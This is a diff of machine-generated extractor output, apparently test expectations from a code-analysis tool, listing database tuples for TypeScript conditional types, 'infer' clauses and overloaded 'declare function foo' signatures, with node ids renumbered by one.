-expr_containers(#23007,#22805) -literals("Bar","Bar",#23007) -typedecl(#23007,#22819) +typeexprs(#23005,2,#23002,2,"number") +hasLocation(#23005,#21812) +enclosing_stmt(#23005,#22990) +expr_containers(#23005,#22805) +literals("number","number",#23005) +#23006=* +stmts(#23006,35,#22805,10,"type Ba ... never;") +#23007=@"loc,{#10000},90,3,90,91" +locations_default(#23007,#10000,90,3,90,91) +hasLocation(#23006,#23007) +stmt_containers(#23006,#22805) #23008=* -scopes(#23008,12) -scopenodes(#23005,#23008) -scopenesting(#23008,#22808) -#23009=@"local_type_name;{T};{#23008}" -local_type_names(#23009,"T",#23008) -#23010=* -typeexprs(#23010,22,#23005,2,"T") -hasLocation(#23010,#21826) -enclosing_stmt(#23010,#23005) -expr_containers(#23010,#22805) +typeexprs(#23008,1,#23006,0,"Bar") +hasLocation(#23008,#21822) +enclosing_stmt(#23008,#23006) +expr_containers(#23008,#22805) +literals("Bar","Bar",#23008) +typedecl(#23008,#22820) +#23009=* +scopes(#23009,12) +scopenodes(#23006,#23009) +scopenesting(#23009,#22808) +#23010=@"local_type_name;{T};{#23009}" +local_type_names(#23010,"T",#23009) #23011=* -typeexprs(#23011,1,#23010,0,"T") +typeexprs(#23011,22,#23006,2,"T") hasLocation(#23011,#21826) -enclosing_stmt(#23011,#23005) +enclosing_stmt(#23011,#23006) expr_containers(#23011,#22805) -literals("T","T",#23011) -typedecl(#23011,#23009) #23012=* -typeexprs(#23012,28,#23005,1,"T exten ... : never") -#23013=@"loc,{#10000},90,17,90,90" -locations_default(#23013,#10000,90,17,90,90) -hasLocation(#23012,#23013) -enclosing_stmt(#23012,#23005) +typeexprs(#23012,1,#23011,0,"T") +hasLocation(#23012,#21826) +enclosing_stmt(#23012,#23006) expr_containers(#23012,#22805) -#23014=* -typeexprs(#23014,0,#23012,0,"T") -hasLocation(#23014,#21832) -enclosing_stmt(#23014,#23005) -expr_containers(#23014,#22805) -literals("T","T",#23014) -typebind(#23014,#23009) +literals("T","T",#23012) +typedecl(#23012,#23010) +#23013=* +typeexprs(#23013,28,#23006,1,"T exten ... : never") +#23014=@"loc,{#10000},90,17,90,90" +locations_default(#23014,#10000,90,17,90,90) +hasLocation(#23013,#23014) +enclosing_stmt(#23013,#23006) +expr_containers(#23013,#22805) #23015=* -typeexprs(#23015,21,#23012,1,"{ a: (x ... void }") -#23016=@"loc,{#10000},90,27,90,78" -locations_default(#23016,#10000,90,27,90,78) -hasLocation(#23015,#23016) -enclosing_stmt(#23015,#23005) +typeexprs(#23015,0,#23013,0,"T") +hasLocation(#23015,#21832) +enclosing_stmt(#23015,#23006) expr_containers(#23015,#22805) -#23017=* -properties(#23017,#23015,0,8,"a: (x: ... > void,") -#23018=@"loc,{#10000},90,29,90,52" -locations_default(#23018,#10000,90,29,90,52) -hasLocation(#23017,#23018) -#23019=* -exprs(#23019,0,#23017,0,"a") -hasLocation(#23019,#21838) -enclosing_stmt(#23019,#23005) -expr_containers(#23019,#22805) -literals("a","a",#23019) -is_abstract_member(#23017) +literals("T","T",#23015) +typebind(#23015,#23010) +#23016=* +typeexprs(#23016,21,#23013,1,"{ a: (x ... void }") +#23017=@"loc,{#10000},90,27,90,78" +locations_default(#23017,#10000,90,27,90,78) +hasLocation(#23016,#23017) +enclosing_stmt(#23016,#23006) +expr_containers(#23016,#22805) +#23018=* +properties(#23018,#23016,0,8,"a: (x: ... > void,") +#23019=@"loc,{#10000},90,29,90,52" +locations_default(#23019,#10000,90,29,90,52) +hasLocation(#23018,#23019) #23020=* -typeexprs(#23020,23,#23017,2,"(x: infer U) => void") -#23021=@"loc,{#10000},90,32,90,51" -locations_default(#23021,#10000,90,32,90,51) -hasLocation(#23020,#23021) -enclosing_stmt(#23020,#23005) +exprs(#23020,0,#23018,0,"a") +hasLocation(#23020,#21838) +enclosing_stmt(#23020,#23006) expr_containers(#23020,#22805) -#23022=* -exprs(#23022,9,#23020,0,"(x: infer U) => void") -hasLocation(#23022,#23021) -enclosing_stmt(#23022,#23005) -expr_containers(#23022,#22805) +literals("a","a",#23020) +is_abstract_member(#23018) +#23021=* +typeexprs(#23021,23,#23018,2,"(x: infer U) => void") +#23022=@"loc,{#10000},90,32,90,51" +locations_default(#23022,#10000,90,32,90,51) +hasLocation(#23021,#23022) +enclosing_stmt(#23021,#23006) +expr_containers(#23021,#22805) #23023=* -scopes(#23023,1) -scopenodes(#23022,#23023) -scopenesting(#23023,#23008) -#23024=@"var;{x};{#23023}" -variables(#23024,"x",#23023) -#23025=* -exprs(#23025,78,#23022,0,"x") -hasLocation(#23025,#21844) -expr_containers(#23025,#23022) -literals("x","x",#23025) -decl(#23025,#23024) -#23026=@"var;{arguments};{#23023}" -variables(#23026,"arguments",#23023) -is_arguments_object(#23026) -#23027=* -typeexprs(#23027,2,#23022,-3,"void") -hasLocation(#23027,#21856) -expr_containers(#23027,#23022) -literals("void","void",#23027) +exprs(#23023,9,#23021,0,"(x: infer U) => void") +hasLocation(#23023,#23022) +enclosing_stmt(#23023,#23006) +expr_containers(#23023,#22805) +#23024=* +scopes(#23024,1) +scopenodes(#23023,#23024) +scopenesting(#23024,#23009) +#23025=@"var;{x};{#23024}" +variables(#23025,"x",#23024) +#23026=* +exprs(#23026,78,#23023,0,"x") +hasLocation(#23026,#21844) +expr_containers(#23026,#23023) +literals("x","x",#23026) +decl(#23026,#23025) +#23027=@"var;{arguments};{#23024}" +variables(#23027,"arguments",#23024) +is_arguments_object(#23027) #23028=* -typeexprs(#23028,29,#23022,-6,"infer U") -#23029=@"loc,{#10000},90,36,90,42" -locations_default(#23029,#10000,90,36,90,42) -hasLocation(#23028,#23029) -expr_containers(#23028,#23022) -#23030=* -typeexprs(#23030,22,#23028,0,"U") -hasLocation(#23030,#21850) -expr_containers(#23030,#23022) +typeexprs(#23028,2,#23023,-3,"void") +hasLocation(#23028,#21856) +expr_containers(#23028,#23023) +literals("void","void",#23028) +#23029=* +typeexprs(#23029,29,#23023,-6,"infer U") +#23030=@"loc,{#10000},90,36,90,42" +locations_default(#23030,#10000,90,36,90,42) +hasLocation(#23029,#23030) +expr_containers(#23029,#23023) #23031=* -typeexprs(#23031,1,#23030,0,"U") +typeexprs(#23031,22,#23029,0,"U") hasLocation(#23031,#21850) -expr_containers(#23031,#23022) -literals("U","U",#23031) +expr_containers(#23031,#23023) #23032=* -properties(#23032,#23015,1,8,"b: (x: ... => void") -#23033=@"loc,{#10000},90,54,90,76" -locations_default(#23033,#10000,90,54,90,76) -hasLocation(#23032,#23033) -#23034=* -exprs(#23034,0,#23032,0,"b") -hasLocation(#23034,#21860) -enclosing_stmt(#23034,#23005) -expr_containers(#23034,#22805) -literals("b","b",#23034) -is_abstract_member(#23032) +typeexprs(#23032,1,#23031,0,"U") +hasLocation(#23032,#21850) +expr_containers(#23032,#23023) +literals("U","U",#23032) +#23033=* +properties(#23033,#23016,1,8,"b: (x: ... => void") +#23034=@"loc,{#10000},90,54,90,76" +locations_default(#23034,#10000,90,54,90,76) +hasLocation(#23033,#23034) #23035=* -typeexprs(#23035,23,#23032,2,"(x: infer U) => void") -#23036=@"loc,{#10000},90,57,90,76" -locations_default(#23036,#10000,90,57,90,76) -hasLocation(#23035,#23036) -enclosing_stmt(#23035,#23005) +exprs(#23035,0,#23033,0,"b") +hasLocation(#23035,#21860) +enclosing_stmt(#23035,#23006) expr_containers(#23035,#22805) -#23037=* -exprs(#23037,9,#23035,0,"(x: infer U) => void") -hasLocation(#23037,#23036) -enclosing_stmt(#23037,#23005) -expr_containers(#23037,#22805) +literals("b","b",#23035) +is_abstract_member(#23033) +#23036=* +typeexprs(#23036,23,#23033,2,"(x: infer U) => void") +#23037=@"loc,{#10000},90,57,90,76" +locations_default(#23037,#10000,90,57,90,76) +hasLocation(#23036,#23037) +enclosing_stmt(#23036,#23006) +expr_containers(#23036,#22805) #23038=* -scopes(#23038,1) -scopenodes(#23037,#23038) -scopenesting(#23038,#23008) -#23039=@"var;{x};{#23038}" -variables(#23039,"x",#23038) -#23040=* -exprs(#23040,78,#23037,0,"x") -hasLocation(#23040,#21866) -expr_containers(#23040,#23037) -literals("x","x",#23040) -decl(#23040,#23039) -#23041=@"var;{arguments};{#23038}" -variables(#23041,"arguments",#23038) -is_arguments_object(#23041) -#23042=* -typeexprs(#23042,2,#23037,-3,"void") -hasLocation(#23042,#21878) -expr_containers(#23042,#23037) -literals("void","void",#23042) +exprs(#23038,9,#23036,0,"(x: infer U) => void") +hasLocation(#23038,#23037) +enclosing_stmt(#23038,#23006) +expr_containers(#23038,#22805) +#23039=* +scopes(#23039,1) +scopenodes(#23038,#23039) +scopenesting(#23039,#23009) +#23040=@"var;{x};{#23039}" +variables(#23040,"x",#23039) +#23041=* +exprs(#23041,78,#23038,0,"x") +hasLocation(#23041,#21866) +expr_containers(#23041,#23038) +literals("x","x",#23041) +decl(#23041,#23040) +#23042=@"var;{arguments};{#23039}" +variables(#23042,"arguments",#23039) +is_arguments_object(#23042) #23043=* -typeexprs(#23043,29,#23037,-6,"infer U") -#23044=@"loc,{#10000},90,61,90,67" -locations_default(#23044,#10000,90,61,90,67) -hasLocation(#23043,#23044) -expr_containers(#23043,#23037) -#23045=* -typeexprs(#23045,22,#23043,0,"U") -hasLocation(#23045,#21872) -expr_containers(#23045,#23037) +typeexprs(#23043,2,#23038,-3,"void") +hasLocation(#23043,#21878) +expr_containers(#23043,#23038) +literals("void","void",#23043) +#23044=* +typeexprs(#23044,29,#23038,-6,"infer U") +#23045=@"loc,{#10000},90,61,90,67" +locations_default(#23045,#10000,90,61,90,67) +hasLocation(#23044,#23045) +expr_containers(#23044,#23038) #23046=* -typeexprs(#23046,1,#23045,0,"U") +typeexprs(#23046,22,#23044,0,"U") hasLocation(#23046,#21872) -expr_containers(#23046,#23037) -literals("U","U",#23046) +expr_containers(#23046,#23038) #23047=* -typeexprs(#23047,0,#23012,2,"U") -hasLocation(#23047,#21884) -enclosing_stmt(#23047,#23005) -expr_containers(#23047,#22805) +typeexprs(#23047,1,#23046,0,"U") +hasLocation(#23047,#21872) +expr_containers(#23047,#23038) literals("U","U",#23047) #23048=* -typeexprs(#23048,2,#23012,3,"never") -hasLocation(#23048,#21888) -enclosing_stmt(#23048,#23005) +typeexprs(#23048,0,#23013,2,"U") +hasLocation(#23048,#21884) +enclosing_stmt(#23048,#23006) expr_containers(#23048,#22805) -literals("never","never",#23048) +literals("U","U",#23048) #23049=* -stmts(#23049,35,#22805,11,"type T2 ... oid }>;") -#23050=@"loc,{#10000},91,3,91,69" -locations_default(#23050,#10000,91,3,91,69) -hasLocation(#23049,#23050) -stmt_containers(#23049,#22805) -#23051=* -typeexprs(#23051,1,#23049,0,"T20") -hasLocation(#23051,#21894) -enclosing_stmt(#23051,#23049) -expr_containers(#23051,#22805) -literals("T20","T20",#23051) -typedecl(#23051,#22820) +typeexprs(#23049,2,#23013,3,"never") +hasLocation(#23049,#21888) +enclosing_stmt(#23049,#23006) +expr_containers(#23049,#22805) +literals("never","never",#23049) +#23050=* +stmts(#23050,35,#22805,11,"type T2 ... oid }>;") +#23051=@"loc,{#10000},91,3,91,69" +locations_default(#23051,#10000,91,3,91,69) +hasLocation(#23050,#23051) +stmt_containers(#23050,#22805) #23052=* -typeexprs(#23052,14,#23049,1,"Bar<{ a ... void }>") -#23053=@"loc,{#10000},91,14,91,68" -locations_default(#23053,#10000,91,14,91,68) -hasLocation(#23052,#23053) -enclosing_stmt(#23052,#23049) +typeexprs(#23052,1,#23050,0,"T20") +hasLocation(#23052,#21894) +enclosing_stmt(#23052,#23050) expr_containers(#23052,#22805) -#23054=* -typeexprs(#23054,0,#23052,-1,"Bar") -hasLocation(#23054,#21898) -enclosing_stmt(#23054,#23049) -expr_containers(#23054,#22805) -literals("Bar","Bar",#23054) -typebind(#23054,#22819) +literals("T20","T20",#23052) +typedecl(#23052,#22821) +#23053=* +typeexprs(#23053,14,#23050,1,"Bar<{ a ... void }>") +#23054=@"loc,{#10000},91,14,91,68" +locations_default(#23054,#10000,91,14,91,68) +hasLocation(#23053,#23054) +enclosing_stmt(#23053,#23050) +expr_containers(#23053,#22805) #23055=* -typeexprs(#23055,21,#23052,0,"{ a: (x ... void }") -#23056=@"loc,{#10000},91,18,91,67" -locations_default(#23056,#10000,91,18,91,67) -hasLocation(#23055,#23056) -enclosing_stmt(#23055,#23049) +typeexprs(#23055,0,#23053,-1,"Bar") +hasLocation(#23055,#21898) +enclosing_stmt(#23055,#23050) expr_containers(#23055,#22805) -#23057=* -properties(#23057,#23055,0,8,"a: (x: ... > void,") -#23058=@"loc,{#10000},91,20,91,42" -locations_default(#23058,#10000,91,20,91,42) -hasLocation(#23057,#23058) -#23059=* -exprs(#23059,0,#23057,0,"a") -hasLocation(#23059,#21904) -enclosing_stmt(#23059,#23049) -expr_containers(#23059,#22805) -literals("a","a",#23059) -is_abstract_member(#23057) +literals("Bar","Bar",#23055) +typebind(#23055,#22820) +#23056=* +typeexprs(#23056,21,#23053,0,"{ a: (x ... void }") +#23057=@"loc,{#10000},91,18,91,67" +locations_default(#23057,#10000,91,18,91,67) +hasLocation(#23056,#23057) +enclosing_stmt(#23056,#23050) +expr_containers(#23056,#22805) +#23058=* +properties(#23058,#23056,0,8,"a: (x: ... > void,") +#23059=@"loc,{#10000},91,20,91,42" +locations_default(#23059,#10000,91,20,91,42) +hasLocation(#23058,#23059) #23060=* -typeexprs(#23060,23,#23057,2,"(x: string) => void") -#23061=@"loc,{#10000},91,23,91,41" -locations_default(#23061,#10000,91,23,91,41) -hasLocation(#23060,#23061) -enclosing_stmt(#23060,#23049) +exprs(#23060,0,#23058,0,"a") +hasLocation(#23060,#21904) +enclosing_stmt(#23060,#23050) expr_containers(#23060,#22805) -#23062=* -exprs(#23062,9,#23060,0,"(x: string) => void") -hasLocation(#23062,#23061) -enclosing_stmt(#23062,#23049) -expr_containers(#23062,#22805) +literals("a","a",#23060) +is_abstract_member(#23058) +#23061=* +typeexprs(#23061,23,#23058,2,"(x: string) => void") +#23062=@"loc,{#10000},91,23,91,41" +locations_default(#23062,#10000,91,23,91,41) +hasLocation(#23061,#23062) +enclosing_stmt(#23061,#23050) +expr_containers(#23061,#22805) #23063=* -scopes(#23063,1) -scopenodes(#23062,#23063) -scopenesting(#23063,#22808) -#23064=@"var;{x};{#23063}" -variables(#23064,"x",#23063) -#23065=* -exprs(#23065,78,#23062,0,"x") -hasLocation(#23065,#21910) -expr_containers(#23065,#23062) -literals("x","x",#23065) -decl(#23065,#23064) -#23066=@"var;{arguments};{#23063}" -variables(#23066,"arguments",#23063) -is_arguments_object(#23066) -#23067=* -typeexprs(#23067,2,#23062,-3,"void") -hasLocation(#23067,#21920) -expr_containers(#23067,#23062) -literals("void","void",#23067) +exprs(#23063,9,#23061,0,"(x: string) => void") +hasLocation(#23063,#23062) +enclosing_stmt(#23063,#23050) +expr_containers(#23063,#22805) +#23064=* +scopes(#23064,1) +scopenodes(#23063,#23064) +scopenesting(#23064,#22808) +#23065=@"var;{x};{#23064}" +variables(#23065,"x",#23064) +#23066=* +exprs(#23066,78,#23063,0,"x") +hasLocation(#23066,#21910) +expr_containers(#23066,#23063) +literals("x","x",#23066) +decl(#23066,#23065) +#23067=@"var;{arguments};{#23064}" +variables(#23067,"arguments",#23064) +is_arguments_object(#23067) #23068=* -typeexprs(#23068,2,#23062,-6,"string") -hasLocation(#23068,#21914) -expr_containers(#23068,#23062) -literals("string","string",#23068) +typeexprs(#23068,2,#23063,-3,"void") +hasLocation(#23068,#21920) +expr_containers(#23068,#23063) +literals("void","void",#23068) #23069=* -properties(#23069,#23055,1,8,"b: (x: ... => void") -#23070=@"loc,{#10000},91,44,91,65" -locations_default(#23070,#10000,91,44,91,65) -hasLocation(#23069,#23070) -#23071=* -exprs(#23071,0,#23069,0,"b") -hasLocation(#23071,#21924) -enclosing_stmt(#23071,#23049) -expr_containers(#23071,#22805) -literals("b","b",#23071) -is_abstract_member(#23069) +typeexprs(#23069,2,#23063,-6,"string") +hasLocation(#23069,#21914) +expr_containers(#23069,#23063) +literals("string","string",#23069) +#23070=* +properties(#23070,#23056,1,8,"b: (x: ... => void") +#23071=@"loc,{#10000},91,44,91,65" +locations_default(#23071,#10000,91,44,91,65) +hasLocation(#23070,#23071) #23072=* -typeexprs(#23072,23,#23069,2,"(x: string) => void") -#23073=@"loc,{#10000},91,47,91,65" -locations_default(#23073,#10000,91,47,91,65) -hasLocation(#23072,#23073) -enclosing_stmt(#23072,#23049) +exprs(#23072,0,#23070,0,"b") +hasLocation(#23072,#21924) +enclosing_stmt(#23072,#23050) expr_containers(#23072,#22805) -#23074=* -exprs(#23074,9,#23072,0,"(x: string) => void") -hasLocation(#23074,#23073) -enclosing_stmt(#23074,#23049) -expr_containers(#23074,#22805) +literals("b","b",#23072) +is_abstract_member(#23070) +#23073=* +typeexprs(#23073,23,#23070,2,"(x: string) => void") +#23074=@"loc,{#10000},91,47,91,65" +locations_default(#23074,#10000,91,47,91,65) +hasLocation(#23073,#23074) +enclosing_stmt(#23073,#23050) +expr_containers(#23073,#22805) #23075=* -scopes(#23075,1) -scopenodes(#23074,#23075) -scopenesting(#23075,#22808) -#23076=@"var;{x};{#23075}" -variables(#23076,"x",#23075) -#23077=* -exprs(#23077,78,#23074,0,"x") -hasLocation(#23077,#21930) -expr_containers(#23077,#23074) -literals("x","x",#23077) -decl(#23077,#23076) -#23078=@"var;{arguments};{#23075}" -variables(#23078,"arguments",#23075) -is_arguments_object(#23078) -#23079=* -typeexprs(#23079,2,#23074,-3,"void") -hasLocation(#23079,#21940) -expr_containers(#23079,#23074) -literals("void","void",#23079) +exprs(#23075,9,#23073,0,"(x: string) => void") +hasLocation(#23075,#23074) +enclosing_stmt(#23075,#23050) +expr_containers(#23075,#22805) +#23076=* +scopes(#23076,1) +scopenodes(#23075,#23076) +scopenesting(#23076,#22808) +#23077=@"var;{x};{#23076}" +variables(#23077,"x",#23076) +#23078=* +exprs(#23078,78,#23075,0,"x") +hasLocation(#23078,#21930) +expr_containers(#23078,#23075) +literals("x","x",#23078) +decl(#23078,#23077) +#23079=@"var;{arguments};{#23076}" +variables(#23079,"arguments",#23076) +is_arguments_object(#23079) #23080=* -typeexprs(#23080,2,#23074,-6,"string") -hasLocation(#23080,#21934) -expr_containers(#23080,#23074) -literals("string","string",#23080) +typeexprs(#23080,2,#23075,-3,"void") +hasLocation(#23080,#21940) +expr_containers(#23080,#23075) +literals("void","void",#23080) #23081=* -stmts(#23081,35,#22805,12,"type T2 ... oid }>;") -#23082=@"loc,{#10000},92,3,92,69" -locations_default(#23082,#10000,92,3,92,69) -hasLocation(#23081,#23082) -stmt_containers(#23081,#22805) -#23083=* -typeexprs(#23083,1,#23081,0,"T21") -hasLocation(#23083,#21950) -enclosing_stmt(#23083,#23081) -expr_containers(#23083,#22805) -literals("T21","T21",#23083) -typedecl(#23083,#22821) +typeexprs(#23081,2,#23075,-6,"string") +hasLocation(#23081,#21934) +expr_containers(#23081,#23075) +literals("string","string",#23081) +#23082=* +stmts(#23082,35,#22805,12,"type T2 ... oid }>;") +#23083=@"loc,{#10000},92,3,92,69" +locations_default(#23083,#10000,92,3,92,69) +hasLocation(#23082,#23083) +stmt_containers(#23082,#22805) #23084=* -typeexprs(#23084,14,#23081,1,"Bar<{ a ... void }>") -#23085=@"loc,{#10000},92,14,92,68" -locations_default(#23085,#10000,92,14,92,68) -hasLocation(#23084,#23085) -enclosing_stmt(#23084,#23081) +typeexprs(#23084,1,#23082,0,"T21") +hasLocation(#23084,#21950) +enclosing_stmt(#23084,#23082) expr_containers(#23084,#22805) -#23086=* -typeexprs(#23086,0,#23084,-1,"Bar") -hasLocation(#23086,#21954) -enclosing_stmt(#23086,#23081) -expr_containers(#23086,#22805) -literals("Bar","Bar",#23086) -typebind(#23086,#22819) +literals("T21","T21",#23084) +typedecl(#23084,#22822) +#23085=* +typeexprs(#23085,14,#23082,1,"Bar<{ a ... void }>") +#23086=@"loc,{#10000},92,14,92,68" +locations_default(#23086,#10000,92,14,92,68) +hasLocation(#23085,#23086) +enclosing_stmt(#23085,#23082) +expr_containers(#23085,#22805) #23087=* -typeexprs(#23087,21,#23084,0,"{ a: (x ... void }") -#23088=@"loc,{#10000},92,18,92,67" -locations_default(#23088,#10000,92,18,92,67) -hasLocation(#23087,#23088) -enclosing_stmt(#23087,#23081) +typeexprs(#23087,0,#23085,-1,"Bar") +hasLocation(#23087,#21954) +enclosing_stmt(#23087,#23082) expr_containers(#23087,#22805) -#23089=* -properties(#23089,#23087,0,8,"a: (x: ... > void,") -#23090=@"loc,{#10000},92,20,92,42" -locations_default(#23090,#10000,92,20,92,42) -hasLocation(#23089,#23090) -#23091=* -exprs(#23091,0,#23089,0,"a") -hasLocation(#23091,#21960) -enclosing_stmt(#23091,#23081) -expr_containers(#23091,#22805) -literals("a","a",#23091) -is_abstract_member(#23089) +literals("Bar","Bar",#23087) +typebind(#23087,#22820) +#23088=* +typeexprs(#23088,21,#23085,0,"{ a: (x ... void }") +#23089=@"loc,{#10000},92,18,92,67" +locations_default(#23089,#10000,92,18,92,67) +hasLocation(#23088,#23089) +enclosing_stmt(#23088,#23082) +expr_containers(#23088,#22805) +#23090=* +properties(#23090,#23088,0,8,"a: (x: ... > void,") +#23091=@"loc,{#10000},92,20,92,42" +locations_default(#23091,#10000,92,20,92,42) +hasLocation(#23090,#23091) #23092=* -typeexprs(#23092,23,#23089,2,"(x: string) => void") -#23093=@"loc,{#10000},92,23,92,41" -locations_default(#23093,#10000,92,23,92,41) -hasLocation(#23092,#23093) -enclosing_stmt(#23092,#23081) +exprs(#23092,0,#23090,0,"a") +hasLocation(#23092,#21960) +enclosing_stmt(#23092,#23082) expr_containers(#23092,#22805) -#23094=* -exprs(#23094,9,#23092,0,"(x: string) => void") -hasLocation(#23094,#23093) -enclosing_stmt(#23094,#23081) -expr_containers(#23094,#22805) +literals("a","a",#23092) +is_abstract_member(#23090) +#23093=* +typeexprs(#23093,23,#23090,2,"(x: string) => void") +#23094=@"loc,{#10000},92,23,92,41" +locations_default(#23094,#10000,92,23,92,41) +hasLocation(#23093,#23094) +enclosing_stmt(#23093,#23082) +expr_containers(#23093,#22805) #23095=* -scopes(#23095,1) -scopenodes(#23094,#23095) -scopenesting(#23095,#22808) -#23096=@"var;{x};{#23095}" -variables(#23096,"x",#23095) -#23097=* -exprs(#23097,78,#23094,0,"x") -hasLocation(#23097,#21966) -expr_containers(#23097,#23094) -literals("x","x",#23097) -decl(#23097,#23096) -#23098=@"var;{arguments};{#23095}" -variables(#23098,"arguments",#23095) -is_arguments_object(#23098) -#23099=* -typeexprs(#23099,2,#23094,-3,"void") -hasLocation(#23099,#21976) -expr_containers(#23099,#23094) -literals("void","void",#23099) +exprs(#23095,9,#23093,0,"(x: string) => void") +hasLocation(#23095,#23094) +enclosing_stmt(#23095,#23082) +expr_containers(#23095,#22805) +#23096=* +scopes(#23096,1) +scopenodes(#23095,#23096) +scopenesting(#23096,#22808) +#23097=@"var;{x};{#23096}" +variables(#23097,"x",#23096) +#23098=* +exprs(#23098,78,#23095,0,"x") +hasLocation(#23098,#21966) +expr_containers(#23098,#23095) +literals("x","x",#23098) +decl(#23098,#23097) +#23099=@"var;{arguments};{#23096}" +variables(#23099,"arguments",#23096) +is_arguments_object(#23099) #23100=* -typeexprs(#23100,2,#23094,-6,"string") -hasLocation(#23100,#21970) -expr_containers(#23100,#23094) -literals("string","string",#23100) +typeexprs(#23100,2,#23095,-3,"void") +hasLocation(#23100,#21976) +expr_containers(#23100,#23095) +literals("void","void",#23100) #23101=* -properties(#23101,#23087,1,8,"b: (x: ... => void") -#23102=@"loc,{#10000},92,44,92,65" -locations_default(#23102,#10000,92,44,92,65) -hasLocation(#23101,#23102) -#23103=* -exprs(#23103,0,#23101,0,"b") -hasLocation(#23103,#21980) -enclosing_stmt(#23103,#23081) -expr_containers(#23103,#22805) -literals("b","b",#23103) -is_abstract_member(#23101) +typeexprs(#23101,2,#23095,-6,"string") +hasLocation(#23101,#21970) +expr_containers(#23101,#23095) +literals("string","string",#23101) +#23102=* +properties(#23102,#23088,1,8,"b: (x: ... => void") +#23103=@"loc,{#10000},92,44,92,65" +locations_default(#23103,#10000,92,44,92,65) +hasLocation(#23102,#23103) #23104=* -typeexprs(#23104,23,#23101,2,"(x: number) => void") -#23105=@"loc,{#10000},92,47,92,65" -locations_default(#23105,#10000,92,47,92,65) -hasLocation(#23104,#23105) -enclosing_stmt(#23104,#23081) +exprs(#23104,0,#23102,0,"b") +hasLocation(#23104,#21980) +enclosing_stmt(#23104,#23082) expr_containers(#23104,#22805) -#23106=* -exprs(#23106,9,#23104,0,"(x: number) => void") -hasLocation(#23106,#23105) -enclosing_stmt(#23106,#23081) -expr_containers(#23106,#22805) +literals("b","b",#23104) +is_abstract_member(#23102) +#23105=* +typeexprs(#23105,23,#23102,2,"(x: number) => void") +#23106=@"loc,{#10000},92,47,92,65" +locations_default(#23106,#10000,92,47,92,65) +hasLocation(#23105,#23106) +enclosing_stmt(#23105,#23082) +expr_containers(#23105,#22805) #23107=* -scopes(#23107,1) -scopenodes(#23106,#23107) -scopenesting(#23107,#22808) -#23108=@"var;{x};{#23107}" -variables(#23108,"x",#23107) -#23109=* -exprs(#23109,78,#23106,0,"x") -hasLocation(#23109,#21986) -expr_containers(#23109,#23106) -literals("x","x",#23109) -decl(#23109,#23108) -#23110=@"var;{arguments};{#23107}" -variables(#23110,"arguments",#23107) -is_arguments_object(#23110) -#23111=* -typeexprs(#23111,2,#23106,-3,"void") -hasLocation(#23111,#21996) -expr_containers(#23111,#23106) -literals("void","void",#23111) +exprs(#23107,9,#23105,0,"(x: number) => void") +hasLocation(#23107,#23106) +enclosing_stmt(#23107,#23082) +expr_containers(#23107,#22805) +#23108=* +scopes(#23108,1) +scopenodes(#23107,#23108) +scopenesting(#23108,#22808) +#23109=@"var;{x};{#23108}" +variables(#23109,"x",#23108) +#23110=* +exprs(#23110,78,#23107,0,"x") +hasLocation(#23110,#21986) +expr_containers(#23110,#23107) +literals("x","x",#23110) +decl(#23110,#23109) +#23111=@"var;{arguments};{#23108}" +variables(#23111,"arguments",#23108) +is_arguments_object(#23111) #23112=* -typeexprs(#23112,2,#23106,-6,"number") -hasLocation(#23112,#21990) -expr_containers(#23112,#23106) -literals("number","number",#23112) +typeexprs(#23112,2,#23107,-3,"void") +hasLocation(#23112,#21996) +expr_containers(#23112,#23107) +literals("void","void",#23112) #23113=* -stmts(#23113,17,#22805,13,"declare ... number;") -#23114=@"loc,{#10000},94,3,94,42" -locations_default(#23114,#10000,94,3,94,42) -hasLocation(#23113,#23114) -stmt_containers(#23113,#22805) -has_declare_keyword(#23113) -#23115=* -exprs(#23115,78,#23113,-1,"foo") -hasLocation(#23115,#22008) -expr_containers(#23115,#23113) -literals("foo","foo",#23115) -#23116=@"var;{foo};{#20000}" -variables(#23116,"foo",#20000) -decl(#23115,#23116) +typeexprs(#23113,2,#23107,-6,"number") +hasLocation(#23113,#21990) +expr_containers(#23113,#23107) +literals("number","number",#23113) +#23114=* +stmts(#23114,17,#22805,13,"declare ... number;") +#23115=@"loc,{#10000},94,3,94,42" +locations_default(#23115,#10000,94,3,94,42) +hasLocation(#23114,#23115) +stmt_containers(#23114,#22805) +has_declare_keyword(#23114) +#23116=* +exprs(#23116,78,#23114,-1,"foo") +hasLocation(#23116,#22008) +expr_containers(#23116,#23114) +literals("foo","foo",#23116) +decl(#23116,#22809) #23117=* scopes(#23117,1) -scopenodes(#23113,#23117) +scopenodes(#23114,#23117) scopenesting(#23117,#22808) #23118=@"var;{x};{#23117}" variables(#23118,"x",#23117) #23119=* -exprs(#23119,78,#23113,0,"x") +exprs(#23119,78,#23114,0,"x") hasLocation(#23119,#22012) -expr_containers(#23119,#23113) +expr_containers(#23119,#23114) literals("x","x",#23119) decl(#23119,#23118) #23120=@"var;{arguments};{#23117}" variables(#23120,"arguments",#23117) is_arguments_object(#23120) #23121=* -typeexprs(#23121,2,#23113,-3,"number") +typeexprs(#23121,2,#23114,-3,"number") hasLocation(#23121,#22022) -expr_containers(#23121,#23113) +expr_containers(#23121,#23114) literals("number","number",#23121) #23122=* -typeexprs(#23122,2,#23113,-6,"string") +typeexprs(#23122,2,#23114,-6,"string") hasLocation(#23122,#22016) -expr_containers(#23122,#23113) +expr_containers(#23122,#23114) literals("string","string",#23122) #23123=* stmts(#23123,17,#22805,14,"declare ... string;") @@ -9757,7 +9757,7 @@ exprs(#23125,78,#23123,-1,"foo") hasLocation(#23125,#22030) expr_containers(#23125,#23123) literals("foo","foo",#23125) -decl(#23125,#23116) +decl(#23125,#22809) #23126=* scopes(#23126,1) scopenodes(#23123,#23126) @@ -9795,7 +9795,7 @@ exprs(#23134,78,#23132,-1,"foo") hasLocation(#23134,#22052) expr_containers(#23134,#23132) literals("foo","foo",#23134) -decl(#23134,#23116) +decl(#23134,#22809) #23135=* scopes(#23135,1) scopenodes(#23132,#23135) @@ -9855,7 +9855,7 @@ hasLocation(#23149,#22080) enclosing_stmt(#23149,#23147) expr_containers(#23149,#22805) literals("T30","T30",#23149) -typedecl(#23149,#22822) +typedecl(#23149,#22823) #23150=* typeexprs(#23150,14,#23147,1,"ReturnT ... of foo>") #23151=@"loc,{#10000},97,14,97,35" @@ -9869,7 +9869,7 @@ hasLocation(#23152,#22084) enclosing_stmt(#23152,#23147) expr_containers(#23152,#22805) literals("ReturnType","ReturnType",#23152) -typebind(#23152,#22824) +typebind(#23152,#22825) #23153=* typeexprs(#23153,16,#23150,0,"typeof foo") #23154=@"loc,{#10000},97,25,97,34" @@ -9883,7 +9883,7 @@ hasLocation(#23155,#22090) 